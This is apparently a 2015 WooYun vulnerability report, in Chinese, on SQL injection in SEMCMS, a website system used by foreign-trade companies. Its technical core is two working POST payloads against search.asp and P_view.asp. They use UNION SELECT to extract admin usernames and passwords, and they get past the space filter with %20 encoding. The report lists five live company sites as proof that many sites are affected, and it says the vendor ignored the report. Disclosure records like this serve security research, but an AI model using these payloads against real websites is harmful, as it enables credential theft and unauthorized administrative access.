某通用型外贸企业系统多处sql注入。 | wooyun-2015-0102248| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102248

漏洞标题：某通用型外贸企业系统多处sql注入。

漏洞作者： %270x5c

提交时间：2015-03-19 11:20

修复时间：2015-05-03 11:20

公开时间：2015-05-03 11:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-19：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-03：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

1w多条结果，用户量好像还蛮大的

Powered by semcms

没细看代码。黑盒一下就出来了，大概是这样的，对于get型的做了过滤，post的型的只过滤了空格，%20就可以了。
第一处 search.asp
post:

search=1'%20and%201=2%20UNION%20SELECT%201,2,3,4,5,clkj_password,7,8,7,10,11,12,13,14,15,16,17,18%20from%20clkj_admin%20%16

第二处 P_view.asp
post:

pid=12%20UNION%20SELECT%201,2,3,4,5,clkj_admin,7,8,clkj_password,10,11,12,13,14,15,16,17,18%20from%20clkj_admin%20%16

通用性证明:
http://www.minrida.com

http://www.foregain.com

http://www.cnocta.com/cn/

http://www.keytron.com.hk/

http://www.singq.com

漏洞证明：

修复方案：

过滤咯

版权声明：转载请注明来源 %270x5c@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞